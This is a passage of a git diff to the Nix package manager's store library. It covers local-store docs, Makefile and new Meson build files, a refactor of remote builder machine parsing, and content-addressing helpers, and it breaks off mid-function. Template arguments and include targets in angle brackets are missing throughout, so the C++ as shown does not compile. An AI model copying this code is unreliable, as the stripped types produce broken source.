index 000000000..8174df839 --- /dev/null +++ b/src/libstore/local-store.md @@ -0,0 +1,39 @@ +R"( + +**Store URL format**: `local`, *root* + +This store type accesses a Nix store in the local filesystem directly +(i.e. not via the Nix daemon). *root* is an absolute path that is +prefixed to other directories such as the Nix store directory. The +store pseudo-URL `local` denotes a store that uses `/` as its root +directory. + +A store that uses a *root* other than `/` is called a *chroot +store*. With such stores, the store directory is "logically" still +`/nix/store`, so programs stored in them can only be built and +executed by `chroot`-ing into *root*. Chroot stores only support +building and running on Linux when [`mount namespaces`](https://man7.org/linux/man-pages/man7/mount_namespaces.7.html) and [`user namespaces`](https://man7.org/linux/man-pages/man7/user_namespaces.7.html) are +enabled. + +For example, the following uses `/tmp/root` as the chroot environment +to build or download `nixpkgs#hello` and then execute it: + +```console +# nix run --store /tmp/root nixpkgs#hello +Hello, world! +``` + +Here, the "physical" store location is `/tmp/root/nix/store`, and +Nix's store metadata is in `/tmp/root/nix/var/nix/db`. + +It is also possible, but not recommended, to change the "logical" +location of the Nix store from its default of `/nix/store`. This makes +it impossible to use default substituters such as +`https://cache.nixos.org/`, and thus you may have to build everything +locally. Here is an example: + +```console +# nix build --store 'local?store=/tmp/my-nix/store&state=/tmp/my-nix/state&log=/tmp/my-nix/log' nixpkgs#hello +``` + +)" diff --git a/src/libstore/local.mk b/src/libstore/local.mk index 8f28bec6c..88be6a366 100644 --- a/src/libstore/local.mk +++ b/src/libstore/local.mk @@ -5,71 +5,96 @@ libstore_NAME = libnixstore libstore_DIR := $(d) libstore_SOURCES := $(wildcard $(d)/*.cc $(d)/builtins/*.cc $(d)/build/*.cc) +ifdef HOST_UNIX + libstore_SOURCES += $(wildcard $(d)/unix/*.cc $(d)/unix/build/*.cc) +endif +ifdef HOST_LINUX + libstore_SOURCES += $(wildcard $(d)/linux/*.cc) +endif +ifdef HOST_WINDOWS + libstore_SOURCES += $(wildcard $(d)/windows/*.cc) +endif libstore_LIBS = libutil -libstore_LDFLAGS += $(SQLITE3_LIBS) $(LIBCURL_LIBS) $(SODIUM_LIBS) -pthread +libstore_LDFLAGS += $(SQLITE3_LIBS) $(LIBCURL_LIBS) $(THREAD_LDFLAGS) ifdef HOST_LINUX - libstore_LDFLAGS += -ldl + libstore_LDFLAGS += -ldl endif - -ifdef HOST_DARWIN -libstore_FILES = sandbox-defaults.sb sandbox-minimal.sb sandbox-network.sb +ifdef HOST_WINDOWS + libstore_LDFLAGS += -lws2_32 endif $(foreach file,$(libstore_FILES),$(eval $(call install-data-in,$(d)/$(file),$(datadir)/nix/sandbox))) ifeq ($(ENABLE_S3), 1) - libstore_LDFLAGS += -laws-cpp-sdk-transfer -laws-cpp-sdk-s3 -laws-cpp-sdk-core -laws-crt-cpp + libstore_LDFLAGS += -laws-cpp-sdk-transfer -laws-cpp-sdk-s3 -laws-cpp-sdk-core -laws-crt-cpp endif ifdef HOST_SOLARIS - libstore_LDFLAGS += -lsocket + libstore_LDFLAGS += -lsocket endif ifeq ($(HAVE_SECCOMP), 1) - libstore_LDFLAGS += $(LIBSECCOMP_LIBS) + libstore_LDFLAGS += $(LIBSECCOMP_LIBS) endif +# Not just for this library itself, but also for downstream libraries using this library + +INCLUDE_libstore := -I $(d) -I $(d)/build +ifdef HOST_UNIX + INCLUDE_libstore += -I $(d)/unix -I $(d)/unix/build +endif +ifdef HOST_LINUX + INCLUDE_libstore += -I $(d)/linux +endif +ifdef HOST_WINDOWS + INCLUDE_libstore += -I $(d)/windows +endif + +ifdef HOST_WINDOWS +NIX_ROOT = N:\\\\ +else +NIX_ROOT = +endif + +# Prefix all but `NIX_STORE_DIR`, since we aren't doing a local store +# yet so a "logical" store dir that is the same as unix is prefered. +# +# Also, it keeps the unit tests working. + libstore_CXXFLAGS += \ - -I src/libutil -I src/libstore -I src/libstore/build \ - -DNIX_PREFIX=\"$(prefix)\" \ + $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libstore) \ + -DNIX_PREFIX=\"$(NIX_ROOT)$(prefix)\" \ -DNIX_STORE_DIR=\"$(storedir)\" \ - -DNIX_DATA_DIR=\"$(datadir)\" \ - -DNIX_STATE_DIR=\"$(localstatedir)/nix\" \ - -DNIX_LOG_DIR=\"$(localstatedir)/log/nix\" \ - -DNIX_CONF_DIR=\"$(sysconfdir)/nix\" \ - -DNIX_BIN_DIR=\"$(bindir)\" \ - -DNIX_MAN_DIR=\"$(mandir)\" \ - -DLSOF=\"$(lsof)\" + -DNIX_DATA_DIR=\"$(NIX_ROOT)$(datadir)\" \ + -DNIX_STATE_DIR=\"$(NIX_ROOT)$(localstatedir)/nix\" \ + -DNIX_LOG_DIR=\"$(NIX_ROOT)$(localstatedir)/log/nix\" \ + -DNIX_CONF_DIR=\"$(NIX_ROOT)$(sysconfdir)/nix\" \ + -DNIX_MAN_DIR=\"$(NIX_ROOT)$(mandir)\" \ + -DLSOF=\"$(NIX_ROOT)$(lsof)\" ifeq ($(embedded_sandbox_shell),yes) libstore_CXXFLAGS += -DSANDBOX_SHELL=\"__embedded_sandbox_shell__\" -$(d)/build/local-derivation-goal.cc: $(d)/embedded-sandbox-shell.gen.hh +$(d)/unix/build/local-derivation-goal.cc: $(d)/unix/embedded-sandbox-shell.gen.hh -$(d)/embedded-sandbox-shell.gen.hh: $(sandbox_shell) +$(d)/unix/embedded-sandbox-shell.gen.hh: $(sandbox_shell) $(trace-gen) hexdump -v -e '1/1 "0x%x," "\n"' < $< > $@.tmp @mv $@.tmp $@ else -ifneq ($(sandbox_shell),) -libstore_CXXFLAGS += -DSANDBOX_SHELL="\"$(sandbox_shell)\"" -endif + ifneq ($(sandbox_shell),) + libstore_CXXFLAGS += -DSANDBOX_SHELL="\"$(sandbox_shell)\"" + endif endif $(d)/local-store.cc: $(d)/schema.sql.gen.hh $(d)/ca-specific-schema.sql.gen.hh -$(d)/build.cc: - -%.gen.hh: % - @echo 'R"foo(' >> $@.tmp - $(trace-gen) cat $< >> $@.tmp - @echo ')foo"' >> $@.tmp - @mv $@.tmp $@ +$(d)/unix/build.cc: clean-files += $(d)/schema.sql.gen.hh $(d)/ca-specific-schema.sql.gen.hh -$(eval $(call install-file-in, $(d)/nix-store.pc, $(libdir)/pkgconfig, 0644)) +$(eval $(call install-file-in, $(buildprefix)$(d)/nix-store.pc, $(libdir)/pkgconfig, 0644)) $(foreach i, $(wildcard src/libstore/builtins/*.hh), \ $(eval $(call install-file-in, $(i), $(includedir)/nix/builtins, 0644))) diff --git a/src/libstore/log-store.cc b/src/libstore/log-store.cc new file mode 100644 index 000000000..8a26832ab --- /dev/null +++ b/src/libstore/log-store.cc @@ -0,0 +1,12 @@ +#include "log-store.hh" + +namespace nix { + +std::optional LogStore::getBuildLog(const StorePath & path) { + auto maybePath = getBuildDerivationPath(path); + if (!maybePath) + return std::nullopt; + return getBuildLogExact(maybePath.value()); +} + +} diff --git a/src/libstore/log-store.hh b/src/libstore/log-store.hh index ff1b92e17..a84f7dbeb 100644 --- a/src/libstore/log-store.hh +++ b/src/libstore/log-store.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include "store-api.hh" @@ -9,9 +10,13 @@ struct LogStore : public virtual Store { inline static std::string operationName = "Build log storage and retrieval"; - /* Return the build log of the specified store path, if available, - or null otherwise. */ - virtual std::optional getBuildLog(const StorePath & path) = 0; + /** + * Return the build log of the specified store path, if available, + * or null otherwise. + */ + std::optional getBuildLog(const StorePath & path); + + virtual std::optional getBuildLogExact(const StorePath & path) = 0; virtual void addBuildLog(const StorePath & path, std::string_view log) = 0; diff --git a/src/libstore/machines.cc b/src/libstore/machines.cc index e87f46980..256cf9188 100644 --- a/src/libstore/machines.cc +++ b/src/libstore/machines.cc @@ -1,5 +1,4 @@ #include "machines.hh" -#include "util.hh" #include "globals.hh" #include "store-api.hh" @@ -7,7 +6,8 @@ namespace nix { -Machine::Machine(decltype(storeUri) storeUri, +Machine::Machine( + const std::string & storeUri, decltype(systemTypes) systemTypes, decltype(sshKey) sshKey, decltype(maxJobs) maxJobs, @@ -15,7 +15,7 @@ Machine::Machine(decltype(storeUri) storeUri, decltype(supportedFeatures) supportedFeatures, decltype(mandatoryFeatures) mandatoryFeatures, decltype(sshPublicHostKey) sshPublicHostKey) : - storeUri( + storeUri(StoreReference::parse( // Backwards compatibility: if the URI is schemeless, is not a path, // and is not one of the special store connection words, prepend // ssh://. @@ -29,15 +29,23 @@ Machine::Machine(decltype(storeUri) storeUri, || hasPrefix(storeUri, "local?") || hasPrefix(storeUri, "?") ? storeUri - : "ssh://" + storeUri), + : "ssh://" + storeUri)), systemTypes(systemTypes), sshKey(sshKey), maxJobs(maxJobs), - speedFactor(std::max(1U, speedFactor)), + speedFactor(speedFactor == 0.0f ? 1.0f : std::move(speedFactor)), supportedFeatures(supportedFeatures), mandatoryFeatures(mandatoryFeatures), sshPublicHostKey(sshPublicHostKey) -{} +{ + if (speedFactor < 0.0) + throw UsageError("speed factor must be >= 0"); +} + +bool Machine::systemSupported(const std::string & system) const +{ + return system == "builtin" || (systemTypes.count(system) > 0); +} bool Machine::allSupported(const std::set & features) const { @@ -56,23 +64,26 @@ bool Machine::mandatoryMet(const std::set & features) const }); } -ref Machine::openStore() const +StoreReference Machine::completeStoreReference() const { - Store::Params storeParams; - if (hasPrefix(storeUri, "ssh://")) { - storeParams["max-connections"] = "1"; - storeParams["log-fd"] = "4"; + auto storeUri = this->storeUri; + + auto * generic = std::get_if(&storeUri.variant); + + if (generic && generic->scheme == "ssh") { + storeUri.params["max-connections"] = "1"; + storeUri.params["log-fd"] = "4"; } - if (hasPrefix(storeUri, "ssh://") || hasPrefix(storeUri, "ssh-ng://")) { + if (generic && (generic->scheme == "ssh" || generic->scheme == "ssh-ng")) { if (sshKey != "") - storeParams["ssh-key"] = sshKey; + storeUri.params["ssh-key"] = sshKey; if (sshPublicHostKey != "") - storeParams["base64-ssh-public-host-key"] = sshPublicHostKey; + storeUri.params["base64-ssh-public-host-key"] = sshPublicHostKey; } { - auto & fs = storeParams["system-features"]; + auto & fs = storeUri.params["system-features"]; auto append = [&](auto feats) { for (auto & f : feats) { if (fs.size() > 0) fs += ' '; @@ -83,7 +94,12 @@ ref Machine::openStore() const append(mandatoryFeatures); } - return nix::openStore(storeUri, storeParams); + return storeUri; +} + +ref Machine::openStore() const +{ + return nix::openStore(completeStoreReference()); } static std::vector expandBuilderLines(const std::string & builders) @@ -115,7 +131,7 @@ static std::vector expandBuilderLines(const std::string & builders) return result; } -static Machine parseBuilderLine(const std::string & line) +static Machine parseBuilderLine(const std::set & defaultSystems, const std::string & line) { const auto tokens = tokenizeString>(line); @@ -131,6 +147,14 @@ static Machine parseBuilderLine(const std::string & line) return result.value(); }; + auto parseFloatField = [&](size_t fieldIndex) { + const auto result = string2Float(tokens[fieldIndex]); + if (!result) { + throw FormatError("bad machine specification: failed to convert column #%lu in a row: '%s' to 'float'", fieldIndex, line); + } + return result.value(); + }; + auto ensureBase64 = [&](size_t fieldIndex) { const auto & str = tokens[fieldIndex]; try { @@ -144,29 +168,46 @@ static Machine parseBuilderLine(const std::string & line) if (!isSet(0)) throw FormatError("bad machine specification: store URL was not found at the first column of a row: '%s'", line); + // TODO use designated initializers, once C++ supports those with + // custom constructors. return { + // `storeUri` tokens[0], - isSet(1) ? tokenizeString>(tokens[1], ",") : std::vector{settings.thisSystem}, + // `systemTypes` + isSet(1) ? tokenizeString>(tokens[1], ",") : defaultSystems, + // `sshKey` isSet(2) ? tokens[2] : "", + // `maxJobs` isSet(3) ? parseUnsignedIntField(3) : 1U, - isSet(4) ? parseUnsignedIntField(4) : 1U, + // `speedFactor` + isSet(4) ? parseFloatField(4) : 1.0f, + // `supportedFeatures` isSet(5) ? tokenizeString>(tokens[5], ",") : std::set{}, + // `mandatoryFeatures` isSet(6) ? tokenizeString>(tokens[6], ",") : std::set{}, + // `sshPublicHostKey` isSet(7) ? ensureBase64(7) : "" }; } -static Machines parseBuilderLines(const std::vector & builders) +static Machines parseBuilderLines(const std::set & defaultSystems, const std::vector & builders) { Machines result; - std::transform(builders.begin(), builders.end(), std::back_inserter(result), parseBuilderLine); + std::transform( + builders.begin(), builders.end(), std::back_inserter(result), + [&](auto && line) { return parseBuilderLine(defaultSystems, line); }); return result; } +Machines Machine::parseConfig(const std::set & defaultSystems, const std::string & s) +{ + const auto builderLines = expandBuilderLines(s); + return parseBuilderLines(defaultSystems, builderLines); +} + Machines getMachines() { - const auto builderLines = expandBuilderLines(settings.builders); - return parseBuilderLines(builderLines); + return Machine::parseConfig({settings.thisSystem}, settings.builders); } } diff --git a/src/libstore/machines.hh b/src/libstore/machines.hh index 834626de9..983652d5f 100644 --- a/src/libstore/machines.hh +++ b/src/libstore/machines.hh @@ -1,28 +1,48 @@ #pragma once +///@file -#include "types.hh" +#include "ref.hh" +#include "store-reference.hh" namespace nix { class Store; +struct Machine; + +typedef std::vector Machines; + struct Machine { - const std::string storeUri; - const std::vector systemTypes; + const StoreReference storeUri; + const std::set systemTypes; const std::string sshKey; const unsigned int maxJobs; - const unsigned int speedFactor; + const float speedFactor; const std::set supportedFeatures; const std::set mandatoryFeatures; const std::string sshPublicHostKey; bool enabled = true; + /** + * @return Whether `system` is either `"builtin"` or in + * `systemTypes`. + */ + bool systemSupported(const std::string & system) const; + + /** + * @return Whether `features` is a subset of the union of `supportedFeatures` and + * `mandatoryFeatures` + */ bool allSupported(const std::set & features) const; + /** + * @return @Whether `mandatoryFeatures` is a subset of `features` + */ bool mandatoryMet(const std::set & features) const; - Machine(decltype(storeUri) storeUri, + Machine( + const std::string & storeUri, decltype(systemTypes) systemTypes, decltype(sshKey) sshKey, decltype(maxJobs) maxJobs, @@ -31,13 +51,38 @@ struct Machine { decltype(mandatoryFeatures) mandatoryFeatures, decltype(sshPublicHostKey) sshPublicHostKey); + /** + * Elaborate `storeUri` into a complete store reference, + * incorporating information from the other fields of the `Machine` + * as applicable. + */ + StoreReference completeStoreReference() const; + + /** + * Open a `Store` for this machine. + * + * Just a simple function composition: + * ```c++ + * nix::openStore(completeStoreReference()) + * ``` + */ ref openStore() const; + + /** + * Parse a machine configuration. + * + * Every machine is specified on its own line, and lines beginning + * with `@` are interpreted as paths to other configuration files in + * the same format. + */ + static Machines parseConfig(const std::set & defaultSystems, const std::string & config); }; -typedef std::vector Machines; - -void parseMachines(const std::string & s, Machines & machines); - +/** + * Parse machines from the global config + * + * @todo Remove, globals are bad. + */ Machines getMachines(); } diff --git a/src/libstore/make-content-addressed.cc b/src/libstore/make-content-addressed.cc index 64d172918..a3130d7cc 100644 --- a/src/libstore/make-content-addressed.cc +++ b/src/libstore/make-content-addressed.cc @@ -27,46 +27,47 @@ std::map makeContentAddressed( StringMap rewrites; - StorePathSet references; - bool hasSelfReference = false; + StoreReferences refs; for (auto & ref : oldInfo->references) { if (ref == path) - hasSelfReference = true; + refs.self = true; else { auto i = remappings.find(ref); auto replacement = i != remappings.end() ? i->second : ref; // FIXME: warn about unremapped paths? if (replacement != ref) rewrites.insert_or_assign(srcStore.printStorePath(ref), srcStore.printStorePath(replacement)); - references.insert(std::move(replacement)); + refs.others.insert(std::move(replacement)); } } sink.s = rewriteStrings(sink.s, rewrites); - HashModuloSink hashModuloSink(htSHA256, oldHashPart); + HashModuloSink hashModuloSink(HashAlgorithm::SHA256, oldHashPart); hashModuloSink(sink.s); auto narModuloHash = hashModuloSink.finish().first; - auto dstPath = dstStore.makeFixedOutputPath( - FileIngestionMethod::Recursive, narModuloHash, path.name(), references, hasSelfReference); + ValidPathInfo info { + dstStore, + path.name(), + FixedOutputInfo { + .method = FileIngestionMethod::NixArchive, + .hash = narModuloHash, + .references = std::move(refs), + }, + Hash::dummy, + }; - printInfo("rewriting '%s' to '%s'", pathS, srcStore.printStorePath(dstPath)); + printInfo("rewriting '%s' to '%s'", pathS, dstStore.printStorePath(info.path)); StringSink sink2; - RewritingSink rsink2(oldHashPart, std::string(dstPath.hashPart()), sink2); + RewritingSink rsink2(oldHashPart, std::string(info.path.hashPart()), sink2); rsink2(sink.s); rsink2.flush(); - ValidPathInfo info { dstPath, hashString(htSHA256, sink2.s) }; - info.references = std::move(references); - if (hasSelfReference) info.references.insert(info.path); + info.narHash = hashString(HashAlgorithm::SHA256, sink2.s); info.narSize = sink.s.size(); - info.ca = FixedOutputHash { - .method = FileIngestionMethod::Recursive, - .hash = narModuloHash, - }; StringSource source(sink2.s); dstStore.addToStore(info, source); @@ -77,4 +78,15 @@ std::map makeContentAddressed( return remappings; } +StorePath makeContentAddressed( + Store & srcStore, + Store & dstStore, + const StorePath & fromPath) +{ + auto remappings = makeContentAddressed(srcStore, dstStore, StorePathSet { fromPath }); + auto i = remappings.find(fromPath); + assert(i != remappings.end()); + return i->second; +} + } diff --git a/src/libstore/make-content-addressed.hh b/src/libstore/make-content-addressed.hh index c4a66ed41..60bb2b477 100644 --- a/src/libstore/make-content-addressed.hh +++ b/src/libstore/make-content-addressed.hh @@ -1,12 +1,24 @@ #pragma once +///@file #include "store-api.hh" namespace nix { +/** Rewrite a closure of store paths to be completely content addressed. + */ std::map makeContentAddressed( Store & srcStore, Store & dstStore, - const StorePathSet & storePaths); + const StorePathSet & rootPaths); + +/** Rewrite a closure of a store path to be completely content addressed. + * + * This is a convenience function for the case where you only have one root path. + */ +StorePath makeContentAddressed( + Store & srcStore, + Store & dstStore, + const StorePath & rootPath); } diff --git a/src/libstore/meson.build b/src/libstore/meson.build new file mode 100644 index 000000000..8e30845e1 --- /dev/null +++ b/src/libstore/meson.build @@ -0,0 +1,424 @@ +project('nix-store', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +configdata = configuration_data() + +# TODO rename, because it will conflict with downstream projects +configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) + +configdata.set_quoted('SYSTEM', host_machine.cpu_family() + '-' + host_machine.system()) + +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ + dependency('nix-util'), +] +subdir('build-utils-meson/subprojects') + +run_command('ln', '-s', + meson.project_build_root() / '__nothing_link_target', + meson.project_build_root() / '__nothing_symlink', + check : true, +) +can_link_symlink = run_command('ln', + meson.project_build_root() / '__nothing_symlink', + meson.project_build_root() / '__nothing_hardlink', + check : false, +).returncode() == 0 +run_command('rm', '-f', + meson.project_build_root() / '__nothing_symlink', + meson.project_build_root() / '__nothing_hardlink', + check : true, +) +summary('can hardlink to symlink', can_link_symlink, bool_yn : true) +configdata.set('CAN_LINK_SYMLINK', can_link_symlink.to_int()) + +# Check for each of these functions, and create a define like `#define HAVE_LCHOWN 1`. +# +# Only need to do functions that deps (like `libnixutil`) didn't already +# check for. +check_funcs = [ + # Optionally used for canonicalising files from the build + 'lchown', + 'statvfs', +] +foreach funcspec : check_funcs + define_name = 'HAVE_' + funcspec.underscorify().to_upper() + define_value = cxx.has_function(funcspec).to_int() + configdata.set(define_name, define_value) +endforeach + +has_acl_support = cxx.has_header('sys/xattr.h') \ + and cxx.has_function('llistxattr') \ + and cxx.has_function('lremovexattr') +configdata.set('HAVE_ACL_SUPPORT', has_acl_support.to_int()) + +subdir('build-utils-meson/threads') + +boost = dependency( + 'boost', + modules : ['container'], + include_type: 'system', +) +# boost is a public dependency, but not a pkg-config dependency unfortunately, so we +# put in `deps_other`. +deps_other += boost + +curl = dependency('libcurl', 'curl') +deps_private += curl + +# seccomp only makes sense on Linux +is_linux = host_machine.system() == 'linux' +seccomp_required = get_option('seccomp-sandboxing') +if not is_linux and seccomp_required.enabled() + warning('Force-enabling seccomp on non-Linux does not make sense') +endif +seccomp = dependency('libseccomp', 'seccomp', required : seccomp_required, version : '>=2.5.5') +if is_linux and not seccomp.found() + warning('Sandbox security is reduced because libseccomp has not been found! Please provide libseccomp if it supports your CPU architecture.') +endif +configdata.set('HAVE_SECCOMP', seccomp.found().to_int()) +deps_private += seccomp + +nlohmann_json = dependency('nlohmann_json', version : '>= 3.9') +deps_public += nlohmann_json + +sqlite = dependency('sqlite3', 'sqlite', version : '>=3.6.19') +deps_private += sqlite + +# AWS C++ SDK has bad pkg-config +aws_s3 = dependency('aws-cpp-sdk-s3', required : false) +configdata.set('ENABLE_S3', aws_s3.found().to_int()) +if aws_s3.found() + aws_s3 = declare_dependency( + include_directories: include_directories(aws_s3.get_variable('includedir')), + link_args: [ + '-L' + aws_s3.get_variable('libdir'), + '-laws-cpp-sdk-transfer', + '-laws-cpp-sdk-s3', + '-laws-cpp-sdk-core', + '-laws-crt-cpp', + ], + ).as_system('system') +endif +deps_other += aws_s3 + +subdir('build-utils-meson/generate-header') + +generated_headers = [] +foreach header : [ + 'schema.sql', + 'ca-specific-schema.sql', +] + generated_headers += gen_header.process(header) +endforeach + +busybox = find_program(get_option('sandbox-shell'), required : false) + +if get_option('embedded-sandbox-shell') + # This one goes in config.h + # The path to busybox is passed as a -D flag when compiling this_library. + # This solution is inherited from the old make buildsystem + # TODO: do this differently? + configdata.set('HAVE_EMBEDDED_SANDBOX_SHELL', 1) + hexdump = find_program('hexdump', native : true) + embedded_sandbox_shell_gen = custom_target( + 'embedded-sandbox-shell.gen.hh', + command : [ + hexdump, + '-v', + '-e', + '1/1 "0x%x," "\n"' + ], + input : busybox.full_path(), + output : 'embedded-sandbox-shell.gen.hh', + capture : true, + feed : true, + ) + generated_headers += embedded_sandbox_shell_gen +endif + +config_h = configure_file( + configuration : configdata, + output : 'config-store.hh', +) + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') + +sources = files( + 'binary-cache-store.cc', + 'build-result.cc', + 'build/derivation-goal.cc', + 'build/drv-output-substitution-goal.cc', + 'build/entry-points.cc', + 'build/goal.cc', + 'build/substitution-goal.cc', + 'build/worker.cc', + 'builtins/buildenv.cc', + 'builtins/fetchurl.cc', + 'builtins/unpack-channel.cc', + 'common-protocol.cc', + 'common-ssh-store-config.cc', + 'content-address.cc', + 'daemon.cc', + 'derivations.cc', + 'derived-path-map.cc', + 'derived-path.cc', + 'downstream-placeholder.cc', + 'dummy-store.cc', + 'export-import.cc', + 'filetransfer.cc', + 'gc.cc', + 'globals.cc', + 'http-binary-cache-store.cc', + 'indirect-root-store.cc', + 'keys.cc', + 'legacy-ssh-store.cc', + 'local-binary-cache-store.cc', + 'local-fs-store.cc', + 'local-overlay-store.cc', + 'local-store.cc', + 'log-store.cc', + 'machines.cc', + 'make-content-addressed.cc', + 'misc.cc', + 'names.cc', + 'nar-accessor.cc', + 'nar-info-disk-cache.cc', + 'nar-info.cc', + 'optimise-store.cc', + 'outputs-spec.cc', + 'parsed-derivations.cc', + 'path-info.cc', + 'path-references.cc', + 'path-with-outputs.cc', + 'path.cc', + 'pathlocks.cc', + 'posix-fs-canonicalise.cc', + 'profiles.cc', + 'realisation.cc', + 'remote-fs-accessor.cc', + 'remote-store.cc', + 's3-binary-cache-store.cc', + 'serve-protocol-connection.cc', + 'serve-protocol.cc', + 'sqlite.cc', + 'ssh-store.cc', + 'ssh.cc', + 'store-api.cc', + 'store-reference.cc', + 'uds-remote-store.cc', + 'worker-protocol-connection.cc', + 'worker-protocol.cc', +) + +include_dirs = [ + include_directories('.'), + include_directories('build'), +] + +headers = [config_h] + files( + 'binary-cache-store.hh', + 'build-result.hh', + 'build/derivation-goal.hh', + 'build/drv-output-substitution-goal.hh', + 'build/goal.hh', + 'build/substitution-goal.hh', + 'build/worker.hh', + 'builtins.hh', + 'builtins/buildenv.hh', + 'common-protocol-impl.hh', + 'common-protocol.hh', + 'common-ssh-store-config.hh', + 'content-address.hh', + 'daemon.hh', + 'derivations.hh', + 'derived-path-map.hh', + 'derived-path.hh', + 'downstream-placeholder.hh', + 'filetransfer.hh', + 'gc-store.hh', + 'globals.hh', + 'http-binary-cache-store.hh', + 'indirect-root-store.hh', + 'keys.hh', + 'legacy-ssh-store.hh', + 'length-prefixed-protocol-helper.hh', + 'local-binary-cache-store.hh', + 'local-fs-store.hh', + 'local-overlay-store.hh', + 'local-store.hh', + 'log-store.hh', + 'machines.hh', + 'make-content-addressed.hh', + 'names.hh', + 'nar-accessor.hh', + 'nar-info-disk-cache.hh', + 'nar-info.hh', + 'outputs-spec.hh', + 'parsed-derivations.hh', + 'path-info.hh', + 'path-references.hh', + 'path-regex.hh', + 'path-with-outputs.hh', + 'path.hh', + 'pathlocks.hh', + 'posix-fs-canonicalise.hh', + 'profiles.hh', + 'realisation.hh', + 'remote-fs-accessor.hh', + 'remote-store-connection.hh', + 'remote-store.hh', + 's3-binary-cache-store.hh', + 's3.hh', + 'ssh-store.hh', + 'serve-protocol-connection.hh', + 'serve-protocol-impl.hh', + 'serve-protocol.hh', + 'sqlite.hh', + 'ssh.hh', + 'store-api.hh', + 'store-cast.hh', + 'store-dir-config.hh', + 'store-reference.hh', + 'uds-remote-store.hh', + 'worker-protocol-connection.hh', + 'worker-protocol-impl.hh', + 'worker-protocol.hh', +) + +if host_machine.system() == 'linux' + subdir('linux') +endif + +if host_machine.system() == 'windows' + subdir('windows') +else + subdir('unix') +endif + +fs = import('fs') + +prefix = get_option('prefix') +# For each of these paths, assume that it is relative to the prefix unless +# it is already an absolute path (which is the default for store-dir, state-dir, and log-dir). +path_opts = [ + # Meson built-ins. + 'datadir', + 'mandir', + 'libdir', + 'includedir', + 'libexecdir', + # Homecooked Nix directories. + 'store-dir', + 'state-dir', + 'log-dir', +] +# For your grepping pleasure, this loop sets the following variables that aren't mentioned +# literally above: +# store_dir +# state_dir +# log_dir +# profile_dir +foreach optname : path_opts + varname = optname.replace('-', '_') + path = get_option(optname) + if fs.is_absolute(path) + set_variable(varname, path) + else + set_variable(varname, prefix / path) + endif +endforeach + +# sysconfdir doesn't get anything installed to directly, and is only used to +# tell Nix where to look for nix.conf, so it doesn't get appended to prefix. +sysconfdir = get_option('sysconfdir') +if not fs.is_absolute(sysconfdir) + sysconfdir = '/' / sysconfdir +endif + +lsof = find_program('lsof', required : false) + +# Aside from prefix itself, each of these was made into an absolute path +# by joining it with prefix, unless it was already an absolute path +# (which is the default for store-dir, state-dir, and log-dir). +cpp_str_defines = { + 'NIX_PREFIX': prefix, + 'NIX_STORE_DIR': store_dir, + 'NIX_DATA_DIR': datadir, + 'NIX_STATE_DIR': state_dir / 'nix', + 'NIX_LOG_DIR': log_dir, + 'NIX_CONF_DIR': sysconfdir / 'nix', + 'NIX_MAN_DIR': mandir, +} + +if lsof.found() + lsof_path = lsof.full_path() +else + # Just look up on the PATH + lsof_path = 'lsof' +endif +cpp_str_defines += { + 'LSOF': lsof_path +} + +if get_option('embedded-sandbox-shell') + cpp_str_defines += { + 'SANDBOX_SHELL': '__embedded_sandbox_shell__' + } +elif busybox.found() + cpp_str_defines += { + 'SANDBOX_SHELL': busybox.full_path() + } +endif + +cpp_args = [] + +foreach name, value : cpp_str_defines + cpp_args += [ + '-D' + name + '=' + '"' + value + '"' + ] +endforeach + +subdir('build-utils-meson/export-all-symbols') + +this_library = library( + 'nixstore', + generated_headers, + sources, + dependencies : deps_public + deps_private + deps_other, + include_directories : include_dirs, + cpp_args : cpp_args, + link_args: linker_export_flags, + prelink : true, # For C++ static initializers + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +libraries_private = [] + +subdir('build-utils-meson/export') diff --git a/src/libstore/meson.options b/src/libstore/meson.options new file mode 100644 index 000000000..723a8e020 --- /dev/null +++ b/src/libstore/meson.options @@ -0,0 +1,25 @@ +# vim: filetype=meson + +option('embedded-sandbox-shell', type : 'boolean', value : false, + description : 'include the sandbox shell in the Nix binary', +) + +option('seccomp-sandboxing', type : 'feature', + description : 'build support for seccomp sandboxing (recommended unless your arch doesn\'t support libseccomp, only relevant on Linux)', +) + +option('sandbox-shell', type : 'string', value : 'busybox', + description : 'path to a statically-linked shell to use as /bin/sh in sandboxes (usually busybox)', +) + +option('store-dir', type : 'string', value : '/nix/store', + description : 'path of the Nix store', +) + +option('state-dir', type : 'string', value : '/nix/var', + description : 'path to store state in for Nix', +) + +option('log-dir', type : 'string', value : '/nix/var/log/nix', + description : 'path to store logs in for Nix', +) diff --git a/src/libstore/misc.cc b/src/libstore/misc.cc index fb985c97b..bcc02206b 100644 --- a/src/libstore/misc.cc +++ b/src/libstore/misc.cc @@ -1,13 +1,16 @@ +#include + #include "derivations.hh" #include "parsed-derivations.hh" #include "globals.hh" -#include "local-store.hh" #include "store-api.hh" #include "thread-pool.hh" +#include "realisation.hh" #include "topo-sort.hh" #include "callback.hh" #include "closure.hh" #include "filetransfer.hh" +#include "strings.hh" namespace nix { @@ -83,14 +86,15 @@ void Store::computeFSClosure(const StorePath & startPath, } -std::optional getDerivationCA(const BasicDerivation & drv) +const ContentAddress * getDerivationCA(const BasicDerivation & drv) { auto out = drv.outputs.find("out"); - if (out != drv.outputs.end()) { - if (const auto * v = std::get_if(&out->second.raw())) - return v->hash; + if (out == drv.outputs.end()) + return nullptr; + if (auto dof = std::get_if(&out->second.raw)) { + return &dof->ca; } - return std::nullopt; + return nullptr; } void Store::queryMissing(const std::vector & targets, @@ -124,14 +128,26 @@ void Store::queryMissing(const std::vector & targets, std::function doPath; + std::function, const DerivedPathMap::ChildNode &)> enqueueDerivedPaths; + + enqueueDerivedPaths = [&](ref inputDrv, const DerivedPathMap::ChildNode & inputNode) { + if (!inputNode.value.empty()) + 